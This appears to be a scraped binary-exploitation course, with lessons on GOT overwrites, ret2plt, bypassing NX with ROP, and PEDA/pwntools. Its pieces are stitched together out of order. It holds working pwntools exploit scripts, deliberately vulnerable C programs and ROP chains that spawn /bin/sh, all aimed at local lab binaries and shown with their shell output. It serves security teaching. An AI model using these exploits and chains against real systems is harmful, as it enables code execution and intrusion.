    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 3_leak_puts_got.py
    [+] Starting local process '../build/1_records': Done
    [*] Got leaked data: �
                          f�@�a�
    [*] puts@libc: 0xf7660ca0
    [*] Switching to interactive mode
    $
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        p = process("../build/1_records")
    
        # Craft first stage (arbitrary read)
        leak_address = 0x0804a018    # Address of puts@got
        stage_1 = "A"*24 + p32(leak_address)
        p.recvrepeat(0.2)
    
        # Send the first stage
        p.send(stage_1)
    
        # Parse the response
        data = p.recvrepeat(0.2)
        leak = data[data.find("(")+1:data.rfind(")")]
        log.info("Got leaked data: %s" % leak)
        puts_addr = u32(leak[:4])
        log.info("puts@libc: 0x%x" % puts_addr)
    
        # Overwrite puts@got
        ret_address =0xdeadc0de
        p.send(p32(ret_address))
    
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 4_eip_control.py
    [+] Starting local process '../build/1_records': Done
    [*] Got leaked data: �,c�@�^�
    [*] puts@libc: 0xf7632ca0
    [*] Switching to interactive mode
    Now Playing: AAAAAAAAAAAAAAAAAAAAAAAA\x18\xa0\x0�Sx�@Ż\xff (��\xad�@\xb5^�)
    $  [*] Got EOF while reading in interactive
    
    [*] Process '../build/1_records' stopped with exit code -11
    [*] Got EOF while sending in interactive
    ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ dmesg | tail -n 1
    [19310.052976] 1_records[3815]: segfault at deadc0de ip 00000000deadc0de sp 00000000ffbbc4ec error 14 in libc-2.23.so[f75d3000+1af000]
    ubuntu@ubuntu-xenial:~/libc-database$ objdump -d /lib/i386-linux-gnu/libc-2.23.so | grep "<_IO_puts@@GLIBC_2.0>:"
    0005fca0 <_IO_puts@@GLIBC_2.0>:
    ubuntu@ubuntu-xenial:~/libc-database$ ./dump local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed | grep system
    offset_system = 0x0003ada0
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        p = process("../build/1_records")
    
        # Craft first stage (arbitrary read)
        leak_address = 0x0804a018    # Address of puts@got
        command = "/bin/sh"
        stage_1 = command.ljust(24, "\x00") + p32(leak_address)
        p.recvrepeat(0.2)
    
        # Send the first stage
        p.send(stage_1)
    
        # Parse the response
        data = p.recvrepeat(0.2)
        leak = data[data.find("(")+1:data.rfind(")")]
        log.info("Got leaked data: %s" % leak)
        puts_addr = u32(leak[:4])
        log.info("puts@libc: 0x%x" % puts_addr)
    
        # Calculate libc base and system
        puts_offset = 0x5fca0
        libc_base = puts_addr - puts_offset
        log.info("libc base: 0x%x" % libc_base)
        system_offset = 0x0003ada0
        system_addr = libc_base + system_offset
        log.info("system@libc: 0x%x" % system_addr)
    
        # Overwrite puts@got
        ret_address = system_addr
        p.send(p32(ret_address))
    
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 5_final.py
    [+] Starting local process '../build/1_records': Done
    [*] Got leaked data: ��Z�@uV�
    [*] puts@libc: 0xf75aeca0
    [*] libc base: 0xf754f000
    [*] system@libc: 0xf7589da0
    [*] Switching to interactive mode
    Now Playing: /bin/sh (\xa0\x9dX�@uV�)
    $                                  ls -la
    total 2232
    drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 18:01 .
    drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 18:02 ..
    -rw-rw-r-- 1 ubuntu ubuntu     345 Jan 13 16:49 1_arbitrary_read.py
    -rw-rw-r-- 1 ubuntu ubuntu     515 Jan 13 16:50 2_arbitrary_read_controlled.py
    -rw-rw-r-- 1 ubuntu ubuntu     579 Jan 13 16:52 3_leak_puts_got.py
    -rw-rw-r-- 1 ubuntu ubuntu     662 Jan 13 16:54 4_eip_control.py
    -rw-rw-r-- 1 ubuntu ubuntu     978 Jan 13 17:00 5_final.py
    $
    [*] Stopped program '../build/1_records'
    ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$
    ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ readelf --relocs 1_clock
    
    Relocation section '.rel.dyn' at offset 0x2dc contains 1 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    08049ffc  00000506 R_386_GLOB_DAT    00000000   __gmon_start__
    
    Relocation section '.rel.plt' at offset 0x2e4 contains 5 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
    0804a010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
    0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
    0804a018  00000407 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
    0804a01c  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
    gdb-peda$ x/xw 0x0804a00c
    0x804a00c:  0x08048346
    gdb-peda$ x/xw 0x0804a00c
    0x804a00c:	0x08048346
    ... snip ...
    gdb-peda$ x/xw 0x0804a00c
    0x804a00c:	0xf7eea980
    gdb-peda$
    gdb-peda$ disas read
    Dump of assembler code for function read@plt:
       0x08048340 <+0>:	jmp    DWORD PTR ds:0x804a00c
       0x08048346 <+6>:	push   0x0
       0x0804834b <+11>:	jmp    0x8048330
    End of assembler dump.
    gdb-peda$
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start the process
        p = process("../build/1_clock")
    
        # Print the pid
        raw_input(str(p.proc.pid))
    
        # Craft the payload
        payload = "A"*76 + p32(0xdeadc0de)
        payload = payload.ljust(96, "\x00")
    
        # Send the payload
        p.send(payload)
    
        # Pass interaction to the user
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ objdump -d ./1_clock -j .plt
    
    ./1_clock:     file format elf32-i386
    
    
    Disassembly of section .plt:
    
    08048330 <read@plt-0x10>:
     8048330:	ff 35 04 a0 04 08    	pushl  0x804a004
     8048336:	ff 25 08 a0 04 08    	jmp    *0x804a008
     804833c:	00 00                	add    %al,(%eax)
    	...
    
    08048340 <read@plt>:
     8048340:	ff 25 0c a0 04 08    	jmp    *0x804a00c
     8048346:	68 00 00 00 00       	push   $0x0
     804834b:	e9 e0 ff ff ff       	jmp    8048330 <_init+0x24>
    
    08048350 <printf@plt>:
     8048350:	ff 25 10 a0 04 08    	jmp    *0x804a010
     8048356:	68 08 00 00 00       	push   $0x8
     804835b:	e9 d0 ff ff ff       	jmp    8048330 <_init+0x24>
    
    08048360 <puts@plt>:
     8048360:	ff 25 14 a0 04 08    	jmp    *0x804a014
     8048366:	68 10 00 00 00       	push   $0x10
     804836b:	e9 c0 ff ff ff       	jmp    8048330 <_init+0x24>
    
    08048370 <system@plt>:
     8048370:	ff 25 18 a0 04 08    	jmp    *0x804a018
     8048376:	68 18 00 00 00       	push   $0x18
     804837b:	e9 b0 ff ff ff       	jmp    8048330 <_init+0x24>
    
    08048380 <__libc_start_main@plt>:
     8048380:	ff 25 1c a0 04 08    	jmp    *0x804a01c
     8048386:	68 20 00 00 00       	push   $0x20
     804838b:	e9 a0 ff ff ff       	jmp    8048330 <_init+0x24>
    ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ strings -a 1_clock
    /lib/ld-linux.so.2
    libc.so.6
    _IO_stdin_used
    puts
    printf
    read
    system
    __libc_start_main
    __gmon_start__
    GLIBC_2.0
    PTRh
    UWVS
    t$,U
    [^_]
    date
    Your name is %s
    Welcome to the Matrix.
    The sheep are blue, but you see red
    Time is very important to us.
    gdb-peda$ find "The sheep are blue, but you see red"
    Searching for 'The sheep are blue, but you see red' in: None ranges
    Found 3 results, display max 3 items:
    1_clock : 0x8048604 ("The sheep are blue, but you see red")
    1_clock : 0x8049604 ("The sheep are blue, but you see red")
     [heap] : 0x804b008 ("The sheep are blue, but you see red\n")
    gdb-peda$
    #!/usr/bin/python
    
    from pwn import *
    
    system_plt = 0x08048370
    ed_str = 0x8048625
    
    def main():
        # Start the process
        p = process("../build/1_clock")
    
        # Craft the payload
        payload = "A"*76
        payload += p32(system_plt)
        payload += p32(0xdeadbeef)
        payload += p32(ed_str)
        payload = payload.ljust(96, "\x00")
    
        # Send the payload
        p.send(payload)
    
        # Pass interaction to the user
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/scripts$ python 2_final.py
    [+] Starting local process '../build/1_clock': Done
    [*] Switching to interactive mode
    Welcome to the Matrix.
    The sheep are blue, but you see red
    Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\x83\x0ᆳ�%\x86\x0
    $ ls -la
    ?
    $ !/bin/sh
    $ ls -la
    total 2100
    drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 15:56 .
    drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 15:56 ..
    -rw-rw-r-- 1 ubuntu ubuntu     405 Jan 12 21:54 1_skeleton.py
    -rw-rw-r-- 1 ubuntu ubuntu     468 Jan 12 21:57 2_final.py
    -rw-rw-r-- 1 ubuntu ubuntu     408 Jan 12 22:41 3_event0_skeleton.py
    -rw-rw-r-- 1 ubuntu ubuntu     483 Jan 12 22:52 4_event0_local.py
    -rw-rw-r-- 1 ubuntu ubuntu     518 Jan 12 22:52 5_event0_remote.py
    -rw------- 1 ubuntu ubuntu 2121728 Jan 13 15:56 core
    $
    [*] Stopped program '../build/1_clock'
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    
    int active = 1;
    char name[200];
    char * secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
    
    void print_warning() {
        puts("=======================================================================================");
        puts("This Kaizen-85 Artificial Intelligence would like to remind you that this is not a toy.");
        puts("Please treat this terminal with the utmost care.");
        puts("Crashing this program will result in ship malfunction.");
        puts("You have been warned.");
        puts("=======================================================================================\n");
    }
    
    void print_prompt() {
        printf("Options for ");
        puts(name);
        puts("1. Peek Memory Address");
        puts("2. Change Name");
        puts("3. Overwite Memory Address");
        puts("9. Exit Terminal");
    }
    
    void peek_prompt() {
        int * address;
        printf("Address: ");
        scanf("%p", &address);
        printf("Contents: 0x%x\n", *address);
    }
    
    void change_name() {
        char buffer[100];
        printf("Name: ");
        read(0, buffer, sizeof(name));
        buffer[strcspn(buffer, "\n")] = 0;
        strncpy(name, buffer, sizeof(name));
    }
    
    void poke_prompt() {
        int * address;
        int data;
        printf("Address: ");
        scanf("%p", &address);
        printf("Data: ");
        scanf("%x", &data);
        *address = data;
    }
    
    void print_secret() {
        if (getpid() == 0) {
            puts("secret");
        }
    }
    
    int main() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        int option;
        print_warning();
        change_name();
        while (active) {
            print_prompt();
            printf("Option: ");
            scanf("%d", &option);
            if (option == 9) {
                active = 0;
                puts("Goodbye.");
            }
            else if (option == 1) {
                peek_prompt();
            }
            else if (option == 2) {
                change_name();
            }
            else if (option == 3) {
                poke_prompt();
            }
            else if (option == 4) {
                print_secret();
            }
        }
    }

    5. Bypassing NX with Return Oriented Programming

    hashtag
    Bypassing NX with Return Oriented Programming

    Since it is assumed that all participants have the gone through the introductory video on return oriented programming set out in the pre-requisites, we will jump straight into developing our exploits. If you are not clear on the basics of ROP, please revisit the video.

    hashtag
    Enabling NX

    Let's start increasing protections on the binaries we play with. We can start simple by only enabling the NX protection on the binaries we compile. For this section we will take a look at the following binary compiled from the following source code.

    Since the binary is not big enough to give us a decent number of ROP gadgets, we will cheat a bit and compile the binary as a statically linked ELF. This should include library code in the final executable and bulk up the size of the binary. We also mark the writable regions of memory as non-executable.

    We can verify that the binary has the NX protection enabled by using the checksec script. We can also check that the file is statically compiled with file.

    hashtag
    Obtaining EIP Control

    First of all, we need to determine the offsets for EIP control. For the sake of brevity, I will use the offset of 148 bytes. When you follow along in the lesson, please do try obtaining the offset yourself. A rough skeleton exploit script is given as follows:

    Running the script and attach gdb to the process allows us to verify that the EIP control works.

    hashtag
    Code Gadgets

    Now, let's take a step back and think about how to proceed from this point. We cannot use the previous strategy of placing shellcode on the stack and jumping to it because the stack is now non-executable. One possible technique we can use is to reuse existing code in the binary.

    If you have gone through the pre-requisite watching, you may realise that these snippets of useful code sequences that end in ret instructions are useful to construct a ROP chain. Some of these sequences might look like the following:

    These are called gadgets. We can automate searching for these gadgets using a tool called ROPgadget.

    Now, some combination of a subset of these 12307 gadgets should surely yield us a shell. Before we start mixing and matching, lets take an aside to discuss Linux syscalls.

    hashtag
    Linux Syscalls

    Linux system calls or syscalls are interfaces between the user space application and the Linux kernel. Functionality performed by the Linux kernel can be invoked by placing parameters into the right registers and passing control to the interrupt vector 0x80 using the int 0x80 opcode. Typically, this is not done by the program directly but by calling glibc wrappers.

    We will not go too deep into describing how the system calls work and go straight to the system call that interests us the most: execve. The execve system call runs an executable file within the context of the current process.

    If we take a look at the libc function, we get the following signature:

    int execve(char const *path, char const *argv[], char const *envp[]);

    Typically, we invoke this function in the following manner to spawn shells.

    execve("/bin/sh", {0}, {0})

    If we take a look at the syscall reference located , we can see that some parameters are expected in the eax, ebx, ecx, and edx registers.

    1. eax - holds the number of the syscall to be called

    2. ebx - a pointer to the string containing the file name to be executed

    3. ecx - a pointer to the array of string pointers representing argv

    For our purposes, the value that each of the registers should contain are:

    hashtag
    Generating the ROP Chain

    Automatically finding the ROP gadgets to perform the execve syscall can be done by ROPgadget. It actually even generates the the output as a python script that you can embed into the skeleton.

    Integrating the generated code is as easy as copy and pasting into the final exploit.

    When we run the exploit, we get our shell.

    hashtag
    Exercises

    hashtag
    6.1 Using Ropper to Generate ROP Chains

    There are alternative tools to ROPgadget that perform gadget searching and automatic chain generation. One such tool is ropper. You can generate an execve rop chain with the following command.

    However, using this payload in a modified script does not work. Can you figure out why and fix it?

    edx - a pointer to the array of string pointers representing envp
    herearrow-up-right
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdint.h>
    #include <unistd.h>
    
    void vuln() {
        char buffer[128];
        char * second_buffer;
        uint32_t length = 0;
        puts("Reading from STDIN");
        read(0, buffer, 1024);
    
        if (strcmp(buffer, "Cool Input") == 0) {
            puts("What a cool string.");
        }
        length = strlen(buffer);
        if (length == 42) {
            puts("LUE");
        }
        second_buffer = malloc(length);
        strncpy(second_buffer, buffer, length);
    }
    
    int main() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        puts("This is a big vulnerable example!");
        printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String",
                42);
        write(1, "Writing to STDOUT\n", 18);
        vuln();
    }
    gcc -m32 -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c
    ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ checksec 1_staticnx
    [*] '/vagrant/lessons/6_bypass_nx_rop/build/1_staticnx'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE
    ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ file 1_staticnx
    1_staticnx: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=18a84fc7499b620b7453b9d37d7ba97dc356d7b2, not stripped
    ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start the process
        p = process("../build/1_staticnx")
    
        # Craft the payload
        payload = "A"*148 + p32(0xdeadc0de)
        payload = payload.ljust(1000, "\x00")
    
        # Print the process id
        raw_input(str(p.proc.pid))
    
        # Send the payload
        p.send(payload)
    
        # Transfer interaction to the user
        p.interactive()
    
    if __name__ == '__main__':
        main()
    [----------------------------------registers-----------------------------------]
    EAX: 0x80f15f8 ('A' <repeats 128 times>, "\370\025\017\b\230")
    EBX: 0x80481b0 (<_init>:	push   ebx)
    ECX: 0x10
    EDX: 0x0
    ESI: 0x80ee00c --> 0x8069c20 (<__strcpy_sse2>:	mov    edx,DWORD PTR [esp+0x4])
    EDI: 0x3d ('=')
    EBP: 0x41414141 ('AAAA')
    ESP: 0xffffd5f0 --> 0x0
    EIP: 0xdeadc0de
    EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0xdeadc0de
    [------------------------------------stack-------------------------------------]
    0000| 0xffffd5f0 --> 0x0
    0004| 0xffffd5f4 --> 0x0
    0008| 0xffffd5f8 --> 0x0
    0012| 0xffffd5fc --> 0x0
    0016| 0xffffd600 --> 0x0
    0020| 0xffffd604 --> 0x0
    0024| 0xffffd608 --> 0x0
    0028| 0xffffd60c --> 0x0
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0xdeadc0de in ?? ()
    gdb-peda$
    0x0804f065 : pop esi ; pop ebp ; ret
    ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx
    Gadgets information
    ============================================================
    0x080add78 : aaa ; add esp, 4 ; pop ebx ; pop esi ; ret
    0x080706c8 : aaa ; lea esp, dword ptr [ebp - 0xc] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x080bbca9 : aaa ; push 1 ; push 1 ; call eax
    ... snip ...
    0x08091a7c : xor esi, esi ; ret 0xf01
    
    Unique gadgets found: 12307
    eax = 0xb
    ebx = "/bin/sh"
    ecx = memory address -> 0
    edx = memory address -> 0
    ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx --ropchain
    ... snip ...
    ROP chain generation
    ===========================================================
    
    - Step 1 -- Write-what-where gadgets
    
    	[+] Gadget found: 0x8050fb5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
    	[+] Gadget found: 0x8048453 pop esi ; ret
    	[+] Gadget found: 0x80484a0 pop edi ; ret
    	[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'
    
    	[+] Gadget found: 0x805495b mov dword ptr [edx], eax ; ret
    	[+] Gadget found: 0x807299a pop edx ; ret
    	[+] Gadget found: 0x80bbb46 pop eax ; ret
    	[+] Gadget found: 0x80493e3 xor eax, eax ; ret
    
    - Step 2 -- Init syscall number gadgets
    
    	[+] Gadget found: 0x80493e3 xor eax, eax ; ret
    	[+] Gadget found: 0x807e1df inc eax ; ret
    
    - Step 3 -- Init syscall arguments gadgets
    
    	[+] Gadget found: 0x80481d1 pop ebx ; ret
    	[+] Gadget found: 0x80e2fc9 pop ecx ; ret
    	[+] Gadget found: 0x807299a pop edx ; ret
    
    - Step 4 -- Syscall gadget
    
    	[+] Gadget found: 0x8070605 int 0x80
    
    - Step 5 -- Build the ROP chain
    
    	#!/usr/bin/env python2
    	# execve generated by ROPgadget
    
    	from struct import pack
    
    	# Padding goes here
    	p = ''
    
    	p += pack('<I', 0x0807299a) # pop edx ; ret
    	p += pack('<I', 0x080ee060) # @ .data
    	p += pack('<I', 0x080bbb46) # pop eax ; ret
    	p += '/bin'
    	p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
    	p += pack('<I', 0x0807299a) # pop edx ; ret
    	p += pack('<I', 0x080ee064) # @ .data + 4
    	p += pack('<I', 0x080bbb46) # pop eax ; ret
    	p += '//sh'
    	p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
    	p += pack('<I', 0x0807299a) # pop edx ; ret
    	p += pack('<I', 0x080ee068) # @ .data + 8
    	p += pack('<I', 0x080493e3) # xor eax, eax ; ret
    	p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
    	p += pack('<I', 0x080481d1) # pop ebx ; ret
    	p += pack('<I', 0x080ee060) # @ .data
    	p += pack('<I', 0x080e2fc9) # pop ecx ; ret
    	p += pack('<I', 0x080ee068) # @ .data + 8
    	p += pack('<I', 0x0807299a) # pop edx ; ret
    	p += pack('<I', 0x080ee068) # @ .data + 8
    	p += pack('<I', 0x080493e3) # xor eax, eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x0807e1df) # inc eax ; ret
    	p += pack('<I', 0x08070605) # int 0x80
    #!/usr/bin/python
    
    from pwn import *
    
    from struct import pack
    
    # Padding goes here
    rop = ''
    
    rop += pack('<I', 0x0807299a) # pop edx ; ret
    rop += pack('<I', 0x080ee060) # @ .data
    rop += pack('<I', 0x080bbb46) # pop eax ; ret
    rop += '/bin'
    rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
    rop += pack('<I', 0x0807299a) # pop edx ; ret
    rop += pack('<I', 0x080ee064) # @ .data + 4
    rop += pack('<I', 0x080bbb46) # pop eax ; ret
    rop += '//sh'
    rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
    rop += pack('<I', 0x0807299a) # pop edx ; ret
    rop += pack('<I', 0x080ee068) # @ .data + 8
    rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
    rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
    rop += pack('<I', 0x080481d1) # pop ebx ; ret
    rop += pack('<I', 0x080ee060) # @ .data
    rop += pack('<I', 0x080e2fc9) # pop ecx ; ret
    rop += pack('<I', 0x080ee068) # @ .data + 8
    rop += pack('<I', 0x0807299a) # pop edx ; ret
    rop += pack('<I', 0x080ee068) # @ .data + 8
    rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x0807e1df) # inc eax ; ret
    rop += pack('<I', 0x08070605) # int 0x80
    
    def main():
        # Start the process
        p = process("../build/1_staticnx")
    
        # Craft the payload
        payload = "A"*148 + rop
        payload = payload.ljust(1000, "\x00")
    
        # Send the payload
        p.send(payload)
    
        # Transfer interaction to the user
        p.interactive()
    
    if __name__ == '__main__':
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/scripts$ python 2_ropexploit.py
    [+] Starting local process '../build/1_staticnx': Done
    [*] Switching to interactive mode
    This is a big vulnerable example!
    I can print many things: deadbeef, Test String, 42
    Writing to STDOUT
    Reading from STDIN
    $ ls -la
    total 16
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 12 20:31 .
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13  2017 ..
    -rw-rw-r-- 1 ubuntu ubuntu  422 Jan 12 06:03 1_skeleton.py
    -rw-rw-r-- 1 ubuntu ubuntu 1897 Jan 12 20:31 2_ropexploit.py
    $
    [*] Stopped program '../build/1_staticnx'
    ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/scripts$
    ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ropper --file 1_staticnx --chain execve
    [INFO] Load gadgets for section: LOAD
    [LOAD] loading... 100%
    [LOAD] removing double gadgets... 100%
    
    [INFO] ROPchain Generator for syscall execve:
    
    
    [INFO]
    write command into data section
    eax 0xb
    ebx address to cmd
    ecx address to null
    edx address to null
    
    
    [INFO] Try to create chain which fills registers without delete content of previous filled registers
    [*] Try permuation 1 / 24
    [INFO] Look for syscall gadget
    
    [INFO] syscall gadget found
    [INFO] generating rop chain
    #!/usr/bin/env python
    # Generated by ropper ropchain generator #
    from struct import pack
    
    p = lambda x : pack('I', x)
    
    IMAGE_BASE_0 = 0x08048000 # 1_staticnx
    rebase_0 = lambda x : p(x + IMAGE_BASE_0)
    
    rop = ''
    
    rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
    rop += '//bi'
    rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
    rop += rebase_0(0x000a6060)
    rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
    rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
    rop += 'n/sh'
    rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
    rop += rebase_0(0x000a6064)
    rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
    rop += rebase_0(0x000036ca) # 0x0804b6ca: pop dword ptr [ecx]; ret;
    rop += p(0x00000000)
    rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
    rop += p(0x00000000)
    rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
    rop += rebase_0(0x000a6068)
    rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
    rop += rebase_0(0x000001d1) # 0x080481d1: pop ebx; ret;
    rop += rebase_0(0x000a6060)
    rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret;
    rop += rebase_0(0x000a6068)
    rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
    rop += rebase_0(0x000a6068)
    rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
    rop += p(0x0000000b)
    rop += rebase_0(0x0002afa0) # 0x08072fa0: int 0x80; ret;
    print rop
    [INFO] rop chain generated!

    2. Introduction to PEDA and Pwntools

    hashtag
    Introduction to PEDA and Pwntools

    GDB with PEDA and Pwntools are two tools that we will be using extensively throughout the course. This section is designed to run through their basic use and to work out any possible kinks that might arise.

    Throughout the section we will be using pre-built binaries in the build folder. From the base repository directory, please navigate as follows:

    There should be a couple of binaries already in the directory. They are standard ELF files that you can run.

    hashtag
    PEDA

    PEDA (Python Exploit Development Assistance) is an extension to GDB that adds on a whole bunch of useful commands and quality of life improvements to the standard GDB experience. The provisioning script should have made the necessary additions to the GDB configuration so all you need to do to start it is launch GDB.

    Let's walk through an example with the 1_sample binary.

    The prompt should show gdb-peda. If it does not, something has gone wrong with the environment setup. To start off, let's break on main and explore what is offered by PEDA.

    Notice that the default display is a made lot more informative than with the vanilla GDB. Other than making it a lot easier to step through programs and view the changes as they happen, PEDA provides a ton of other functionality as well. To view the full list of them, you can use the peda command.

    We will go through a few of the interesting commands.

    hashtag
    checksec

    The checksec command lists the protections that are enabled for the binary. This is useful when figuring out how to craft your exploit.

    hashtag
    distance

    Often, calculating offsets from addresses is required when crafting your payload in an exploit. This command makes it easy to find the distance between two addresses.

    hashtag
    elfsymbol

    If you ever needed to get the address for certain symbols in a binary (if you are lucky and it is not stripped), you can use the elfsymbol command.

    hashtag
    pattern

    The pattern generator is one of the features of PEDA I most use. What it does is generate a of a specified length. A De Brujin Sequence is a sequence that has unique n-length subsequences at any of its points. In our case, we are interested in unique 4 length subsequences since we will be dealing with 32 bit registers. This is especially useful for finding offsets at which data gets written into registers.

    Let's say we create a pattern of length 64.

    Imagine that we have triggered a buffer overflow and find that the instruction pointer crashes on the address 0x48414132 ('2AAH' in ASCII). We can figure out the exact offset of our data to place our address to redirect code execution to.

    hashtag
    procinfo

    This command parses information from the /proc/pid/x directory and presents it to you.

    It is particularly useful to view which file descriptors are open.

    hashtag
    vmmap

    vmmap displays the memory mapping of the process. It is simple to invoke.

    What is important to glean from the listing above is the permissions flags of each of the segments. Often when developing your exploit, you will need to place some data somewhere. This data can be arguments to functions expecting a string pointer or even shellcode. What is required is that the segment that is being written to is marked writable.

    Additionally, if you have a pointer from a memory leak and want to figure out where exactly the pointer is pointing to, you can drill down specifically on that address.

    hashtag
    find aka searchmem

    The find command is an alias for the searchmem peda command. It searches memory for a given pattern. It is particularly useful to figure out where data is or how it flows in a process.

    For example, something that is often sought for is the string "/bin/sh". Perhaps it lays in memory somewhere. We can use find to look for it.

    hashtag
    Pwntools

    Pwntools is a Python library that provides a framework for writing exploits. Typically, it is used heavily in CTFs. There are a ton of useful functions provided by Pwntools but I will briefly describe the process I personally use.

    hashtag
    Using Pwntools

    There are three ways you can use Pwntools:

    1. Interactively through the python/iPython consoles

    2. In a python script

    3. Pwntools command line tools

    Interactively through the Console

    Often, you want to try things out before actually writing an actual script when developing your exploit. The iPython console is a great way to explore the Pwntools API. For convenience, we will import everything in the pwn package to the global namespace.

    iPython provides tab completion and a built-in system to look up documentation in docstrings. For example, if we want to look at what the p32 function does, we can look it up with the ? sigil.

    In a Python Script

    I like to begin with the following template when starting a new exploit.

    Running the script is as simple as calling python on it. Try running this script:

    Running the script:

